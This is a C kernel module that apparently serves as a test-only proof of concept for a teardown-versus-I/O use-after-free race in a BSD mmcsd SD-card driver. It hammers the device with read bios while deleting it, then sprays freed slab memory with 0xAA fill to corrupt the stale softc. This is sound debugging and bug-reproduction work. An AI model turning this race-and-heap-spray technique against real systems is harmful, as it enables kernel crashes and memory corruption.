/*
 * mmcrace.c -- DF-4783 PoC trigger + data-path hammer (TEST ONLY, never sys/).
 *
 * Reproduces the mmcsd(4) teardown-vs-data-path race (DF-4646 family).
 * All actions run from a dedicated worker kthread (NOT the sysctl context,
 * which holds sysctllock and would self-deadlock in device_delete_child ->
 * device_sysctl_fini -> sysctl_ctx_free).
 *
 *  - action=10: open /dev/mmcsd0 kernel-side (pins the cdev exactly like a
 *               mounted fs / open raw fd) and start 16 hammer kthreads that
 *               issue real BUF_CMD_READ bios through dev_dstrategy().
 *  - action=1:  device_delete_child(mmc0, mmcsd0) -- the exact
 *               mmc_delete_cards() path (mmc.c:259) taken on card removal:
 *               mmcsd_detach() then newbus frees the softc. si_drv1 is
 *               never cleared; nothing excludes in-flight strategy calls.
 *  - action=2:  re-add the child (same saved ivars) so the cycle repeats.
 */
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/conf.h>
#include <sys/systm.h>
#include <sys/bus.h>
#include <sys/sysctl.h>
#include <sys/kobj.h>
#include <sys/malloc.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/kthread.h>
#include <sys/buf.h>
#include <sys/fcntl.h>
#include <sys/devfs.h>

static int mmcrace_action(SYSCTL_HANDLER_ARGS);

static int mmcrace_act = 0;
SYSCTL_NODE(_hw, OID_AUTO, mmcrace, CTLFLAG_RW, 0, "mmcsd race test");
SYSCTL_PROC(_hw_mmcrace, OID_AUTO, action, CTLTYPE_INT | CTLFLAG_RW,
    &mmcrace_act, 0, mmcrace_action, "I",
    "1=delete 2=readd 10=hammer-on 11=hammer-off 12=poison-spray");

static cdev_t race_dev;
static int hammer_run;
static struct thread *hth[16];
static int nhth;
static volatile int outstanding;

static volatile int act_cmd;	/* worker command */
static volatile int act_done;	/* worker completion seq */

static void
mmcrace_done(struct bio *bio)
{
	struct buf *bp = bio->bio_buf;
	void *data = bp->b_data;

	atomic_subtract_int(&outstanding, 1);
	kfree(bp, M_TEMP);
	kfree(data, M_TEMP);
}

static void
mmcrace_hammer(void *arg __unused)
{
	while (hammer_run) {
		struct bio *bio;
		struct buf *bp;
		void *data;

		if (race_dev == NULL || outstanding > 20000) {
			tsleep(&hammer_run, 0, "mmrace", 1);
			continue;
		}
		bp = kmalloc(sizeof(*bp), M_TEMP, M_ZERO | M_WAITOK);
		data = kmalloc(512, M_TEMP, M_ZERO | M_WAITOK);

		/*
		 * Use the buf's embedded first BIO layer (like bread() /
		 * vn_strategy do): the whole-disk cdev strategy path goes
		 * through subr_diskslice dsstrategy() which calls
		 * push_bio(), requiring the bio to live inside
		 * bp->b_bio_array[].
		 */
		bio = &bp->b_bio1;
		bio->bio_buf = bp;
		bio->bio_offset = 0;
		bio->bio_done = mmcrace_done;
		bp->b_cmd = BUF_CMD_READ;
		bp->b_bcount = 512;
		bp->b_data = data;
		bp->b_resid = 0;
		bp->b_error = 0;
		bp->b_flags = 0;

		/* biodone() may run synchronously (ENXIO path) and free the
		 * bio via mmcrace_done() before dev_dstrategy() returns. */
		atomic_add_int(&outstanding, 1);
		dev_dstrategy(race_dev, bio);
		lwkt_yield();
	}
	kthread_exit();
}

static void *saved_ivars;

static void
do_delete(void)
{
	devclass_t dc;
	device_t mmc0, child;
	device_t *list = NULL;
	int count = 0, error, i;

	dc = devclass_find("mmc");
	if (dc == NULL)
		return;
	mmc0 = devclass_get_device(dc, 0);
	if (mmc0 == NULL)
		return;
	error = device_get_children(mmc0, &list, &count);
	if (error)
		return;
	for (i = 0; i < count; i++) {
		child = list[i];
		if (strcmp(device_get_name(child), "mmcsd") == 0) {
			kprintf("mmcrace: deleting %s (hammer=%s)\n",
			    device_get_nameunit(child),
			    hammer_run ? "RUNNING" : "off");
			saved_ivars = device_get_ivars(child);
			error = device_delete_child(mmc0, child);
			kprintf("mmcrace: device_delete_child -> %d\n", error);
		}
	}
	kfree(list, M_TEMP);
}

static void
do_readd(void)
{
	devclass_t dc;
	device_t mmc0, child;
	int error;

	dc = devclass_find("mmc");
	if (dc == NULL || saved_ivars == NULL)
		return;
	mmc0 = devclass_get_device(dc, 0);
	if (mmc0 == NULL)
		return;
	child = device_add_child(mmc0, NULL, -1);
	device_set_ivars(child, saved_ivars);
	error = device_probe_and_attach(child);
	kprintf("mmcrace: re-add -> %s (attach %d)\n",
	    device_get_nameunit(child), error);
}

static void
do_hammer_on(void)
{
	int error, i;

	if (race_dev != NULL) {
		kprintf("mmcrace: hammer already running\n");
		return;
	}
	race_dev = devfs_find_device_by_name("mmcsd0");
	if (race_dev == NULL) {
		kprintf("mmcrace: /dev/mmcsd0 not found\n");
		return;
	}
	error = dev_dopen(race_dev, FREAD, 0, NULL, NULL, NULL);
	if (error) {
		kprintf("mmcrace: dev_dopen failed %d\n", error);
		race_dev = NULL;
		return;
	}
	kprintf("mmcrace: mmcsd0 open (cdev pinned), starting 16 hammers\n");
	hammer_run = 1;
	for (i = 0; i < 16; i++) {
		if (kthread_create(mmcrace_hammer, NULL, &hth[i],
		    "mmcrace%d", i) == 0)
			nhth++;
	}
}

static void
do_poison(void)
{
	/*
	 * DF slab zones are per-size-class (malloc type is accounting
	 * only), so these M_TEMP allocations reuse the just-freed M_BUS
	 * mmcsd softc chunk.  0xAA fill makes sc->running != 0 and
	 * bio_queue.tqh_last garbage: the next dev_dstrategy() on the
	 * still-open cdev (si_drv1 never cleared) walks into it.
	 */
	static void *keep[6][4000];
	int i, j;
	int sizes[6] = { 128, 256, 512, 1024, 2048, 4096 };

	for (i = 0; i < 6; i++) {
		for (j = 0; j < 4000; j++) {
			keep[i][j] = kmalloc(sizes[i], M_TEMP,
			    M_ZERO | M_WAITOK);
			if (keep[i][j])
				memset(keep[i][j], 0xAA, sizes[i]);
		}
	}
	kprintf("mmcrace: poison sprayed (never freed)\n");
}

static void
do_suspend(int resume)
{
	devclass_t dc;
	device_t mmc0, child;
	device_t *list = NULL;
	int count = 0, error, i;
	int (*suspend_fn)(device_t) = NULL;
	driver_t *drv;
	kobj_method_t *m;

	dc = devclass_find("mmc");
	if (dc == NULL)
		return;
	mmc0 = devclass_get_device(dc, 0);
	if (mmc0 == NULL)
		return;
	error = device_get_children(mmc0, &list, &count);
	if (error)
		return;
	for (i = 0; i < count; i++) {
		child = list[i];
		if (strcmp(device_get_name(child), "mmcsd") != 0)
			continue;
		drv = device_get_driver(child);
		for (m = drv->methods; m && m->func; ++m) {
			if (m->desc == (resume ? &device_resume_desc :
			    &device_suspend_desc))
				suspend_fn = (int (*)(device_t))m->func;
		}
		if (suspend_fn) {
			kprintf("mmcrace: %s on %s (%s)\n",
			    resume ? "RESUME" : "SUSPEND",
			    device_get_nameunit(child),
			    resume ? "restarts task" :
			    "kills task, suspend=1: strategy keeps queueing");
			error = suspend_fn(child);
			kprintf("mmcrace: %s -> %d\n",
			    resume ? "resume" : "suspend", error);
		}
	}
	kfree(list, M_TEMP);
}

static void
mmcrace_worker(void *arg __unused)
{
	while (1) {
		tsleep(&act_cmd, 0, "mmwork", 0);
		switch (act_cmd) {
		case 1:
			do_delete();
			break;
		case 2:
			do_readd();
			break;
		case 10:
			do_hammer_on();
			break;
		case 11:
			kprintf("mmcrace: hammer stop (%d threads)\n", nhth);
			hammer_run = 0;
			break;
		case 12:
			do_poison();
			break;
		case 13:
			do_suspend(0);
			break;
		case 14:
			do_suspend(1);
			break;
		default:
			break;
		}
		act_cmd = 0;
		act_done++;
		wakeup(&act_done);
	}
	/* NOTREACHED */
}

static int
mmcrace_action(SYSCTL_HANDLER_ARGS)
{
	int error, seq, i;

	error = sysctl_handle_int(oidp, &mmcrace_act, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (mmcrace_act == 0)
		return (0);

	seq = act_done;
	act_cmd = mmcrace_act;
	wakeup(&act_cmd);
	i = 0;
	while (act_done == seq && i++ < 30)
		tsleep(&act_done, 0, "mmwait", hz / 10);
	kprintf("mmcrace: action %d %s (done seq %d->%d)\n", mmcrace_act,
	    (act_done != seq) ? "completed" : "TIMEOUT", seq, act_done);
	mmcrace_act = 0;
	return (0);
}

static struct thread *worker_td;

static int
mmcrace_load(module_t mod, int what, void *arg __unused)
{
	switch (what) {
	case MOD_LOAD:
		act_cmd = 0;
		act_done = 0;
		return (kthread_create(mmcrace_worker, NULL, &worker_td,
		    "mmcrace-work"));
	default:
		break;
	}
	return (0);
}

DEV_MODULE(mmcrace, mmcrace_load, NULL);
